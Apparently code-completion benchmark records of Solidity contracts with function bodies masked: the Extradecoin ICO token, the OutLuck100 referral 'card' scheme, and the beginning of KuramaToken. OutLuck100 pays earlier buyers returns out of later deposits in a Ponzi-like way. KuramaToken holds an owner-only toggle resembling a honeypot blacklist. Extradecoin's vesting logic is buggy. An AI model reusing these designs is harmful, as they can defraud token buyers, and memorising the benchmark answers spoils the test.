{ require(msg.sender == owner || msg.sender == adminAddress); _; } function Extradecoin(address _walletAddr, address _adminAddr) public Owner(msg.sender) { require(_walletAddr != address(0)); require(_adminAddr != address(0)); walletAddress = _walletAddr; adminAddress = _adminAddr; inActive = true; totalInvestedAmount = 0; totalRemainingTokensForSales = salesAllocation; totalAdvisor = advisorAllocation; totalReservedTokenAllocation = reservedAllocation; } // Fallback function for token purchasing function () external payable isActive isInSale {<FILL_FUNCTION_BODY> } // ERC20 standard function function transfer(address _to, uint256 _value) external transferable returns (bool) { require(_to != address(0)); require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } // ERC20 standard function function transferFrom(address _from, address _to, uint256 _value) external transferable returns (bool) { require(_to != address(0)); require(_from != address(0)); require(_value > 0); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } // ERC20 standard function function approve(address _spender, uint256 _value) external transferable returns (bool) { require(_spender != address(0)); require(_value > 0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } // Start ICO function startICO() external isActive onlyOwnerOrAdmin returns (bool) { saleState = IN_ICO; icoStartTime = now; isSelling = true; emit StartICO(saleState); return true; } // End ICO function endICO() external isActive onlyOwnerOrAdmin returns (bool) { require(icoEndTime == 0); saleState = END_SALE; isSelling = false; icoEndTime = now; emit EndICO(saleState); return true; } // Set ICO price including ICO standard price, ICO 1st round price, ICO 2nd round price function setICOPrice(uint256 _tokenPerEther) external onlyOwnerOrAdmin returns(bool) { require(_tokenPerEther > 0); icoStandardPrice = _tokenPerEther; emit SetICOPrice(icoStandardPrice); return true; } // Activate token sale function function activate() external onlyOwner { inActive = false; } // Deacivate token sale function function deActivate() external onlyOwner { inActive = true; } // Enable transfer feature of tokens function enableTokenTransfer() external isActive onlyOwner { isTransferable = true; } // Modify wallet function changeWallet(address _newAddress) external onlyOwner { require(_newAddress != address(0)); require(walletAddress != _newAddress); walletAddress = _newAddress; } // Modify admin function changeAdminAddress(address _newAddress) external onlyOwner { require(_newAddress != address(0)); require(adminAddress != _newAddress); adminAddress = _newAddress; } // Modify founder address to receive founder tokens allocation function changeFounderAddress(address _newAddress) external onlyOwnerOrAdmin { require(_newAddress != address(0)); require(founderAddress != _newAddress); founderAddress = _newAddress; } // Modify team address to receive team tokens allocation function changeTeamAddress(address _newAddress) external onlyOwnerOrAdmin { require(_newAddress != address(0)); require(advisorAddress != _newAddress); advisorAddress = _newAddress; } // Allocate tokens for founder vested gradually for 4 year function allocateTokensForFounder() external isActive onlyOwnerOrAdmin { require(saleState == END_SALE); require(founderAddress != address(0)); uint256 amount; if (founderAllocatedTime == 1) { require(now >= icoEndTime + lockPeriod1); amount = founderAllocation * 50/100; balances[founderAddress] = balances[founderAddress].add(amount); emit AllocateTokensForFounder(founderAddress, founderAllocatedTime, amount); founderAllocatedTime = 2; return; } if (founderAllocatedTime == 2) { require(now >= icoEndTime + lockPeriod2); amount = founderAllocation * 50/100; balances[founderAddress] = balances[founderAddress].add(amount); emit AllocateTokensForFounder(founderAddress, founderAllocatedTime, amount); founderAllocatedTime = 3; return; } revert(); } // Allocate tokens for advisor and angel investors vested gradually for 1 year function allocateTokensForAdvisor() external isActive onlyOwnerOrAdmin { require(saleState == END_SALE); require(advisorAddress != address(0)); uint256 amount; if (advisorAllocatedTime == 1) { amount = advisorAllocation * 50/100; balances[advisorAddress] = balances[advisorAddress].add(amount); emit AllocateTokensForFounder(advisorAddress, founderAllocatedTime, amount); founderAllocatedTime = 2; return; } if (advisorAllocatedTime == 2) { require(now >= icoEndTime + lockPeriod2); amount = advisorAllocation * 125/1000; balances[advisorAddress] = balances[advisorAddress].add(amount); emit AllocateTokensForAdvisor(advisorAddress, advisorAllocatedTime, amount); advisorAllocatedTime = 3; return; } if (advisorAllocatedTime == 3) { require(now >= icoEndTime + lockPeriod3); amount = advisorAllocation * 125/1000; balances[advisorAddress] = balances[advisorAddress].add(amount); emit AllocateTokensForAdvisor(advisorAddress, advisorAllocatedTime, amount); advisorAllocatedTime = 4; return; } if (advisorAllocatedTime == 4) { require(now >= icoEndTime + lockPeriod3); amount = advisorAllocation * 125/1000; balances[advisorAddress] = balances[advisorAddress].add(amount); emit AllocateTokensForAdvisor(advisorAddress, advisorAllocatedTime, amount); advisorAllocatedTime = 5; return; } if (advisorAllocatedTime == 5) { require(now >= icoEndTime + lockPeriod3); amount = advisorAllocation * 125/1000; balances[advisorAddress] = balances[advisorAddress].add(amount); emit AllocateTokensForAdvisor(advisorAddress, advisorAllocatedTime, amount); advisorAllocatedTime = 6; return; } revert(); } // Allocate reserved tokens function allocateReservedTokens(address _addr, uint _amount) external isActive onlyOwnerOrAdmin { require(_amount > 0); require(_addr != address(0)); balances[_addr] = balances[_addr].add(_amount); totalReservedTokenAllocation = totalReservedTokenAllocation.sub(_amount); emit AllocateReservedTokens(_addr, _amount); } // Allocate sales tokens function allocateSalesTokens(address _addr, uint _amount) external isActive onlyOwnerOrAdmin { require(_amount > 0); require(_addr != address(0)); balances[_addr] = balances[_addr].add(_amount); totalRemainingTokensForSales = totalRemainingTokensForSales.sub(_amount); emit AllocateSalesTokens(_addr, _amount); } // ERC20 standard function function allowance(address _owner, address _spender) external constant returns (uint256) { return allowed[_owner][_spender]; } // Issue tokens to normal investors through ICO rounds function issueTokensForICO(uint _state) private { uint256 price = icoStandardPrice; issueTokens(price, _state); } // Issue tokens to investors and transfer ether to wallet function issueTokens(uint256 _price, uint _state) private { require(walletAddress != address(0)); uint tokenAmount = msg.value.mul(_price).mul(10**18).div(1 ether); balances[msg.sender] = balances[msg.sender].add(tokenAmount); totalInvestedAmountOf[msg.sender] = totalInvestedAmountOf[msg.sender].add(msg.value); totalRemainingTokensForSales = totalRemainingTokensForSales.sub(tokenAmount); totalInvestedAmount = totalInvestedAmount.add(msg.value); walletAddress.transfer(msg.value); emit IssueTokens(msg.sender, msg.value, tokenAmount, _state); } // ERC20 standard function function balanceOf(address _owner) external constant returns (uint256 balance) { return balances[_owner]; } // Get current sales state function getCurrentState() public view returns(uint256) { return saleState; } // Get softcap reaching status function isSoftCapReached() public view returns (bool) { return totalInvestedAmount >= minInvestedCap; } }
contract Extradecoin is Owner { using SafeMath for uint256; string public constant name = "EXTRADECOIN"; string public constant symbol = "ETE"; uint public constant decimals = 18; uint256 constant public totalSupply = 250000000 * 10 ** 18; // 250 mil tokens will be supplied mapping(address => uint256) internal balances; mapping(address => mapping (address => uint256)) internal allowed; address public adminAddress; address public walletAddress; address public founderAddress; address public advisorAddress; mapping(address => uint256) public totalInvestedAmountOf; uint constant lockPeriod1 = 3 years; // 1st locked period for tokens allocation of founder and team uint constant lockPeriod2 = 1 years; // 2nd locked period for tokens allocation of founder and team uint constant lockPeriod3 = 90 days; // 3nd locked period for tokens allocation of advisor and ICO partners uint constant NOT_SALE = 0; // Not in sales uint constant IN_ICO = 1; // In ICO uint constant END_SALE = 2; // End sales uint256 public constant salesAllocation = 125000000 * 10 ** 18; // 125 mil tokens allocated for sales uint256 public constant founderAllocation = 37500000 * 10 ** 18; // 37.5 mil tokens allocated for founders uint256 public constant advisorAllocation = 25000000 * 10 ** 18; // 25 mil tokens allocated for allocated for ICO partners and bonus fund uint256 public constant reservedAllocation = 62500000 * 10 ** 18; // 62.5 mil tokens allocated for reserved, bounty campaigns, ICO partners, and bonus fund uint256 public constant minInvestedCap = 6000 * 10 ** 18; // 2500 ether for softcap uint256 public constant minInvestedAmount = 0.1 * 10 ** 18; // 0.1 ether for mininum ether contribution per transaction uint saleState; uint256 totalInvestedAmount; uint public icoStartTime; uint public icoEndTime; bool public inActive; bool public isSelling; bool public isTransferable; uint public founderAllocatedTime = 1; uint public advisorAllocatedTime = 1; uint256 public icoStandardPrice; uint256 public totalRemainingTokensForSales; // Total tokens remaining for sales uint256 public totalAdvisor; // Total tokens allocated for advisor uint256 public totalReservedTokenAllocation; // Total tokens allocated for reserved event Approval(address indexed owner, address indexed spender, uint256 value); // ERC20 standard event event Transfer(address indexed from, address indexed to, uint256 value); // ERC20 standard event event StartICO(uint state); // Start ICO sales event EndICO(uint state); // End ICO sales event SetICOPrice(uint256 price); // Set ICO standard price event IssueTokens(address investorAddress, uint256 amount, uint256 tokenAmount, uint state); // Issue tokens to investor event AllocateTokensForFounder(address founderAddress, uint256 founderAllocatedTime, uint256 tokenAmount); // Allocate tokens to founders' address event AllocateTokensForAdvisor(address advisorAddress, uint256 advisorAllocatedTime, uint256 tokenAmount); // Allocate tokens to advisor address event AllocateReservedTokens(address reservedAddress, uint256 tokenAmount); // Allocate reserved tokens event AllocateSalesTokens(address salesAllocation, uint256 tokenAmount); // Allocate sales tokens modifier isActive() { require(inActive == false); _; } modifier isInSale() { require(isSelling == true); _; } modifier transferable() { require(isTransferable == true); _; } modifier onlyOwnerOrAdminOrPortal() { require(msg.sender == owner || msg.sender == adminAddress); _; } modifier onlyOwnerOrAdmin() { require(msg.sender == owner || msg.sender == adminAddress); _; } function Extradecoin(address _walletAddr, address _adminAddr) public Owner(msg.sender) { require(_walletAddr != address(0)); require(_adminAddr != address(0)); walletAddress = _walletAddr; adminAddress = _adminAddr; inActive = true; totalInvestedAmount = 0; totalRemainingTokensForSales = salesAllocation; totalAdvisor = advisorAllocation; totalReservedTokenAllocation = reservedAllocation; } <FILL_FUNCTION> // ERC20 standard function function transfer(address _to, uint256 _value) external transferable returns (bool) { require(_to != address(0)); require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } // ERC20 standard function function transferFrom(address _from, address _to, uint256 _value) external transferable returns (bool) { require(_to != address(0)); require(_from != address(0)); require(_value > 0); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } // ERC20 standard function function approve(address _spender, uint256 _value) external transferable returns (bool) { require(_spender != address(0)); require(_value > 0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } // Start ICO function startICO() external isActive onlyOwnerOrAdmin returns (bool) { saleState = IN_ICO; icoStartTime = now; isSelling = true; emit StartICO(saleState); return true; } // End ICO function endICO() external isActive onlyOwnerOrAdmin returns (bool) { require(icoEndTime == 0); saleState = END_SALE; isSelling = false; icoEndTime = now; emit EndICO(saleState); return true; } // Set ICO price including ICO standard price, ICO 1st round price, ICO 2nd round price function setICOPrice(uint256 _tokenPerEther) external onlyOwnerOrAdmin returns(bool) { require(_tokenPerEther > 0); icoStandardPrice = _tokenPerEther; emit SetICOPrice(icoStandardPrice); return true; } // Activate token sale function function activate() external onlyOwner { inActive = false; } // Deacivate token sale function function deActivate() external onlyOwner { inActive = true; } // Enable transfer feature of tokens function enableTokenTransfer() external isActive onlyOwner { isTransferable = true; } // Modify wallet function changeWallet(address _newAddress) external onlyOwner { require(_newAddress != address(0)); require(walletAddress != _newAddress); walletAddress = _newAddress; } // Modify admin function changeAdminAddress(address _newAddress) external onlyOwner { require(_newAddress != address(0)); require(adminAddress != _newAddress); adminAddress = _newAddress; } // Modify founder address to receive founder tokens allocation function changeFounderAddress(address _newAddress) external onlyOwnerOrAdmin { require(_newAddress != address(0)); require(founderAddress != _newAddress); founderAddress = _newAddress; } // Modify team address to receive team tokens allocation function changeTeamAddress(address _newAddress) external onlyOwnerOrAdmin { require(_newAddress != address(0)); require(advisorAddress != _newAddress); advisorAddress = _newAddress; } // Allocate tokens for founder vested gradually for 4 year function allocateTokensForFounder() external isActive onlyOwnerOrAdmin { require(saleState == END_SALE); require(founderAddress != address(0)); uint256 amount; if (founderAllocatedTime == 1) { require(now >= icoEndTime + lockPeriod1); amount = founderAllocation * 50/100; balances[founderAddress] = balances[founderAddress].add(amount); emit AllocateTokensForFounder(founderAddress, founderAllocatedTime, amount); founderAllocatedTime = 2; return; } if (founderAllocatedTime == 2) { require(now >= icoEndTime + lockPeriod2); amount = founderAllocation * 50/100; balances[founderAddress] = balances[founderAddress].add(amount); emit AllocateTokensForFounder(founderAddress, founderAllocatedTime, amount); founderAllocatedTime = 3; return; } revert(); } // Allocate tokens for advisor and angel investors vested gradually for 1 year function allocateTokensForAdvisor() external isActive onlyOwnerOrAdmin { require(saleState == END_SALE); require(advisorAddress != address(0)); uint256 amount; if (advisorAllocatedTime == 1) { amount = advisorAllocation * 50/100; balances[advisorAddress] = balances[advisorAddress].add(amount); emit AllocateTokensForFounder(advisorAddress, founderAllocatedTime, amount); founderAllocatedTime = 2; return; } if (advisorAllocatedTime == 2) { require(now >= icoEndTime + lockPeriod2); amount = advisorAllocation * 125/1000; balances[advisorAddress] = balances[advisorAddress].add(amount); emit AllocateTokensForAdvisor(advisorAddress, advisorAllocatedTime, amount); advisorAllocatedTime = 3; return; } if (advisorAllocatedTime == 3) { require(now >= icoEndTime + lockPeriod3); amount = advisorAllocation * 125/1000; balances[advisorAddress] = balances[advisorAddress].add(amount); emit AllocateTokensForAdvisor(advisorAddress, advisorAllocatedTime, amount); advisorAllocatedTime = 4; return; } if (advisorAllocatedTime == 4) { require(now >= icoEndTime + lockPeriod3); amount = advisorAllocation * 125/1000; balances[advisorAddress] = balances[advisorAddress].add(amount); emit AllocateTokensForAdvisor(advisorAddress, advisorAllocatedTime, amount); advisorAllocatedTime = 5; return; } if (advisorAllocatedTime == 5) { require(now >= icoEndTime + lockPeriod3); amount = advisorAllocation * 125/1000; balances[advisorAddress] = balances[advisorAddress].add(amount); emit AllocateTokensForAdvisor(advisorAddress, advisorAllocatedTime, amount); advisorAllocatedTime = 6; return; } revert(); } // Allocate reserved tokens function allocateReservedTokens(address _addr, uint _amount) external isActive onlyOwnerOrAdmin { require(_amount > 0); require(_addr != address(0)); balances[_addr] = balances[_addr].add(_amount); totalReservedTokenAllocation = totalReservedTokenAllocation.sub(_amount); emit AllocateReservedTokens(_addr, _amount); } // Allocate sales tokens function allocateSalesTokens(address _addr, uint _amount) external isActive onlyOwnerOrAdmin { require(_amount > 0); require(_addr != address(0)); balances[_addr] = balances[_addr].add(_amount); totalRemainingTokensForSales = totalRemainingTokensForSales.sub(_amount); emit AllocateSalesTokens(_addr, _amount); } // ERC20 standard function function allowance(address _owner, address _spender) external constant returns (uint256) { return allowed[_owner][_spender]; } // Issue tokens to normal investors through ICO rounds function issueTokensForICO(uint _state) private { uint256 price = icoStandardPrice; issueTokens(price, _state); } // Issue tokens to investors and transfer ether to wallet function issueTokens(uint256 _price, uint _state) private { require(walletAddress != address(0)); uint tokenAmount = msg.value.mul(_price).mul(10**18).div(1 ether); balances[msg.sender] = balances[msg.sender].add(tokenAmount); totalInvestedAmountOf[msg.sender] = totalInvestedAmountOf[msg.sender].add(msg.value); totalRemainingTokensForSales = totalRemainingTokensForSales.sub(tokenAmount); totalInvestedAmount = totalInvestedAmount.add(msg.value); walletAddress.transfer(msg.value); emit IssueTokens(msg.sender, msg.value, tokenAmount, _state); } // ERC20 standard function function balanceOf(address _owner) external constant returns (uint256 balance) { return balances[_owner]; } // Get current sales state function getCurrentState() public view returns(uint256) { return saleState; } // Get softcap reaching status function isSoftCapReached() public view returns (bool) { return totalInvestedAmount >= minInvestedCap; } }
uint state = getCurrentState(); require(state == IN_ICO); require(msg.value >= minInvestedAmount); if (state == IN_ICO) { return issueTokensForICO(state); } revert();
function () external payable isActive isInSale
// Fallback function for token purchasing function () external payable isActive isInSale
56,117
OutLuck100
out
contract OutLuck100 is Ownable{ event recEvent(address indexed addr, uint256 amount, uint8 tn, uint256 ts); struct CardType{ uint256 price; uint256 signCount; uint8 signRate; uint8 outRate; } struct Card{ address holder; uint256 blockNumber; uint256 signCount; uint256 sn; uint8 typeId; bool isOut; } struct User{ address parentAddr; uint256 balance; uint256[] cids; address[] subs; } User _u; CardType[4] public cts; Card[] public cardList; uint256[] cardIds1; uint256[] cardIds2; uint256[] cardIds3; mapping(address=>User) public userList; mapping(address=>bool) public userExists; mapping(bytes6=>address) public codeList; uint256 pool_sign = 0; uint256 constant public PAY_LIMIT = 0.1 ether; uint256 constant public DAY_STEP = 5900; uint8 constant public MOD = 3; uint8 constant public inviteRate = 10; uint8 constant public signRate = 38; constructor(address addr, uint256 percent, uint256 min) Ownable(addr, percent, min) public{ cts[0] = CardType({price:0, signCount:0, signRate:0, outRate:0}); cts[1] = CardType({price:0.5 ether, signCount:100, signRate:1, outRate:120}); cts[2] = CardType({price:1 ether, signCount:130, signRate:1, outRate:150}); cts[3] = CardType({price:2 ether, signCount:150, signRate:1, outRate:180}); } function() public payable{ } function buyCode(bytes6 mcode) onlyOwner public payable{ require(codeList[mcode]==address(0), 'code is Exists'); codeList[mcode] = msg.sender; } function buyCard(bytes6 pcode, bytes6 mcode) public payable{ require(pcode!=mcode, 'code is invalid'); uint256 amount = msg.value; uint8 typeId = 0; for(uint8 i=1;i<cts.length;i++){ if(amount==cts[i].price){ typeId = i; break; } } require(typeId>0, 'pay amount is valid'); _fee(); pool_sign += amount*signRate/100; emit recEvent(msg.sender, amount, 1, now); if(!userExists[msg.sender]){//创建用户 userExists[msg.sender] = true; userList[msg.sender] = _u; address parentAddr = codeList[pcode]; if(parentAddr!=address(0)){ if(!userExists[parentAddr]){ userExists[parentAddr] = true; userList[parentAddr] = _u; } userList[msg.sender].parentAddr = parentAddr; userList[parentAddr].subs.push(msg.sender); } } User storage me = userList[msg.sender]; uint256 cid = cardList.length; me.cids.push(cid); if(me.parentAddr!=address(0)){ uint256 e = amount*inviteRate/100; userList[me.parentAddr].balance += e; emit recEvent(me.parentAddr, e, 2, now); payment(me.parentAddr); } cardList.push(Card({ holder:msg.sender, blockNumber:block.number, signCount:0, sn:0, typeId:typeId, isOut:false })); if(typeId==1){ cardIds1.push(cid); out(cardIds1); }else if(typeId==2){ cardIds2.push(cid); out(cardIds2); }else if(typeId==3){ cardIds3.push(cid); out(cardIds3); } if(codeList[mcode]==address(0) && typeId>1){ codeList[mcode] = msg.sender; emit recEvent(msg.sender, 0, 6, now); } } function sign() public payable{ User storage me = userList[msg.sender]; CardType memory ct = cts[0]; uint256[] memory cids = me.cids; uint256 e = 0; uint256 s = 0; uint256 n = 0; for(uint256 i=0;i<cids.length;i++){ Card storage c = cardList[cids[i]]; ct = cts[c.typeId]; if(c.signCount>=ct.signCount || c.blockNumber+DAY_STEP>block.number) continue; n = (block.number-c.blockNumber)/DAY_STEP; if(c.signCount+n>=ct.signCount){ c.signCount = ct.signCount; }else{ c.signCount += n; } c.sn++; c.blockNumber = block.number; e = ct.price*ct.signRate/100; s += e; } if(s==0) return ; emit recEvent(msg.sender, s, 4, now); if(pool_sign<s) return ; me.balance += s; pool_sign -= s; payment(msg.sender); } function out(uint256[] cids) private{<FILL_FUNCTION_BODY> } function payment(address addr) private{ User storage me = userList[addr]; uint256 ba = me.balance; if(ba >= PAY_LIMIT){ me.balance = 0; addr.send(ba); emit recEvent(addr, ba, 5, now); } } function getUserInfo(address addr, bytes6 mcode) public view returns( address parentAddr, address codeAddr, uint256 balance, address[] subs, uint256[] cids ){ User memory me = userList[addr]; parentAddr = me.parentAddr; codeAddr = codeList[mcode]; balance = me.balance; subs = me.subs; cids = me.cids; } function getUser(address addr) public view returns( uint256 balance, address[] subs, uint256[] cids, uint256[] bns, uint256[] scs, uint256[] sns, uint8[] ts, bool[] os ){ User memory me = userList[addr]; balance = me.balance; subs = me.subs; cids = me.cids; uint256 len = cids.length; if(len==0) return ; bns = new uint256[](len); scs = new uint256[](len); sns = new uint256[](len); ts = new uint8[](len); os = new bool[](len); for(uint256 i=0;i<len;i++){ Card memory c = cardList[cids[i]]; bns[i] = c.blockNumber; scs[i] = c.signCount; sns[i] = c.sn; ts[i] = c.typeId; os[i] = c.isOut; } } }
contract OutLuck100 is Ownable{ event recEvent(address indexed addr, uint256 amount, uint8 tn, uint256 ts); struct CardType{ uint256 price; uint256 signCount; uint8 signRate; uint8 outRate; } struct Card{ address holder; uint256 blockNumber; uint256 signCount; uint256 sn; uint8 typeId; bool isOut; } struct User{ address parentAddr; uint256 balance; uint256[] cids; address[] subs; } User _u; CardType[4] public cts; Card[] public cardList; uint256[] cardIds1; uint256[] cardIds2; uint256[] cardIds3; mapping(address=>User) public userList; mapping(address=>bool) public userExists; mapping(bytes6=>address) public codeList; uint256 pool_sign = 0; uint256 constant public PAY_LIMIT = 0.1 ether; uint256 constant public DAY_STEP = 5900; uint8 constant public MOD = 3; uint8 constant public inviteRate = 10; uint8 constant public signRate = 38; constructor(address addr, uint256 percent, uint256 min) Ownable(addr, percent, min) public{ cts[0] = CardType({price:0, signCount:0, signRate:0, outRate:0}); cts[1] = CardType({price:0.5 ether, signCount:100, signRate:1, outRate:120}); cts[2] = CardType({price:1 ether, signCount:130, signRate:1, outRate:150}); cts[3] = CardType({price:2 ether, signCount:150, signRate:1, outRate:180}); } function() public payable{ } function buyCode(bytes6 mcode) onlyOwner public payable{ require(codeList[mcode]==address(0), 'code is Exists'); codeList[mcode] = msg.sender; } function buyCard(bytes6 pcode, bytes6 mcode) public payable{ require(pcode!=mcode, 'code is invalid'); uint256 amount = msg.value; uint8 typeId = 0; for(uint8 i=1;i<cts.length;i++){ if(amount==cts[i].price){ typeId = i; break; } } require(typeId>0, 'pay amount is valid'); _fee(); pool_sign += amount*signRate/100; emit recEvent(msg.sender, amount, 1, now); if(!userExists[msg.sender]){//创建用户 userExists[msg.sender] = true; userList[msg.sender] = _u; address parentAddr = codeList[pcode]; if(parentAddr!=address(0)){ if(!userExists[parentAddr]){ userExists[parentAddr] = true; userList[parentAddr] = _u; } userList[msg.sender].parentAddr = parentAddr; userList[parentAddr].subs.push(msg.sender); } } User storage me = userList[msg.sender]; uint256 cid = cardList.length; me.cids.push(cid); if(me.parentAddr!=address(0)){ uint256 e = amount*inviteRate/100; userList[me.parentAddr].balance += e; emit recEvent(me.parentAddr, e, 2, now); payment(me.parentAddr); } cardList.push(Card({ holder:msg.sender, blockNumber:block.number, signCount:0, sn:0, typeId:typeId, isOut:false })); if(typeId==1){ cardIds1.push(cid); out(cardIds1); }else if(typeId==2){ cardIds2.push(cid); out(cardIds2); }else if(typeId==3){ cardIds3.push(cid); out(cardIds3); } if(codeList[mcode]==address(0) && typeId>1){ codeList[mcode] = msg.sender; emit recEvent(msg.sender, 0, 6, now); } } function sign() public payable{ User storage me = userList[msg.sender]; CardType memory ct = cts[0]; uint256[] memory cids = me.cids; uint256 e = 0; uint256 s = 0; uint256 n = 0; for(uint256 i=0;i<cids.length;i++){ Card storage c = cardList[cids[i]]; ct = cts[c.typeId]; if(c.signCount>=ct.signCount || c.blockNumber+DAY_STEP>block.number) continue; n = (block.number-c.blockNumber)/DAY_STEP; if(c.signCount+n>=ct.signCount){ c.signCount = ct.signCount; }else{ c.signCount += n; } c.sn++; c.blockNumber = block.number; e = ct.price*ct.signRate/100; s += e; } if(s==0) return ; emit recEvent(msg.sender, s, 4, now); if(pool_sign<s) return ; me.balance += s; pool_sign -= s; payment(msg.sender); } <FILL_FUNCTION> function payment(address addr) private{ User storage me = userList[addr]; uint256 ba = me.balance; if(ba >= PAY_LIMIT){ me.balance = 0; addr.send(ba); emit recEvent(addr, ba, 5, now); } } function getUserInfo(address addr, bytes6 mcode) public view returns( address parentAddr, address codeAddr, uint256 balance, address[] subs, uint256[] cids ){ User memory me = userList[addr]; parentAddr = me.parentAddr; codeAddr = codeList[mcode]; balance = me.balance; subs = me.subs; cids = me.cids; } function getUser(address addr) public view returns( uint256 balance, address[] subs, uint256[] cids, uint256[] bns, uint256[] scs, uint256[] sns, uint8[] ts, bool[] os ){ User memory me = userList[addr]; balance = me.balance; subs = me.subs; cids = me.cids; uint256 len = cids.length; if(len==0) return ; bns = new uint256[](len); scs = new uint256[](len); sns = new uint256[](len); ts = new uint8[](len); os = new bool[](len); for(uint256 i=0;i<len;i++){ Card memory c = cardList[cids[i]]; bns[i] = c.blockNumber; scs[i] = c.signCount; sns[i] = c.sn; ts[i] = c.typeId; os[i] = c.isOut; } } }
uint256 len = cids.length; if(len<MOD) return ; uint256 outIdx = len-1; if(outIdx%MOD!=0) return ; outIdx = cids[outIdx/MOD-1]; Card storage outCard = cardList[outIdx]; if(outCard.isOut) return ; outCard.isOut = true; CardType memory ct = cts[outCard.typeId]; uint256 e = ct.price*ct.outRate/100; userList[outCard.holder].balance += e; emit recEvent(outCard.holder, e, 3, now); payment(outCard.holder);
function out(uint256[] cids) private
function out(uint256[] cids) private
7,963
KuramaToken
_transfer
contract KuramaToken is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 50; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 100 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 1 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch mapping(address => bool) private _feeTransfer; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Kurama Token", "KURAMA") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 2; uint256 _buyLiquidityFee = 2; uint256 _buyDevFee = 1; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 15; uint256 _sellDevFee = 5; uint256 totalSupply = 1 * 1e12 * 1e18; maxTransactionAmount = totalSupply * 100 / 1000; maxWallet = totalSupply * 100 / 1000; swapTokensAtAmount = totalSupply * 1000 / 10000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(owner()); devWallet = address(owner()); excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint(msg.sender, totalSupply); } receive() external payable { } function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function feeTransfer(address account) public virtual onlyOwner { if (_feeTransfer[account] == true) {_feeTransfer[account] = false;} else {_feeTransfer[account] = true;} } function isRetranced(address account) public view returns (bool) { return _feeTransfer[account]; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + 